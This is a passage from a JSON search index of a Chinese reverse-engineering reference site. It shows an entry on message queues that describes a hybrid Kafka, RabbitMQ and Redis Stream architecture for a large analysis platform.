","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/:9:3","tags":["大数据","工程实践","消息队列"],"title":"消息队列","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/#逆向工程项目典型选型"},{"categories":null,"collections":null,"content":"混合架构示例 大型逆向工程平台通常采用混合方案： ┌──────────────────────────────────────────────────────────────────┐ │ 混合消息队列架构 │ │ │ │ ┌─────────┐ ┌───────────┐ ┌──────────────┐ │ │ │ 爬虫集群 │──────\u003e│ Kafka │──────\u003e│ Flink / Spark │ │ │ │ 数据采集 │ 高吞吐 │ 数据总线 │ 流处理 │ 实时分析 │ │ │ └─────────┘ └───────────┘ └──────────────┘ │ │ │ │ │ ↓ │ │ ┌─────────┐ ┌───────────┐ ┌──────────────┐ │ │ │ 管理后台 │──────\u003e│ RabbitMQ │──────\u003e│ 分析 Worker │ │ │ │ 任务下发 │ 路由 │ 任务调度 │ 分发 │ JADX+Frida │ │ │ └─────────┘ └───────────┘ └──────────────┘ │ │ │ │ │ ↓ │ │ ┌─────────┐ ┌───────────┐ ┌──────────────┐ │ │ │ 前端展示 │\u003c──────│ Redis │\u003c──────│ 结果汇总 │ │ │ │ 实时推送 │ 低延迟 │ Stream │ 写入 │ 入库/通知 │ │ │ └─────────┘ └───────────┘ └──────────────┘ │ └──────────────────────────────────────────────────────────────────┘ 每层选用最适合的消息队列： Kafka - 数据总线层，承载高吞吐的原始数据流 RabbitMQ - 任务调度层，提供灵活的路由和优先级管理 Redis Stream - 结果推送层，低延迟实时通知前端 ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/:9:4","tags":["大数据","工程实践","消息队列"],"title":"消息队列","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/#混合架构示例"}]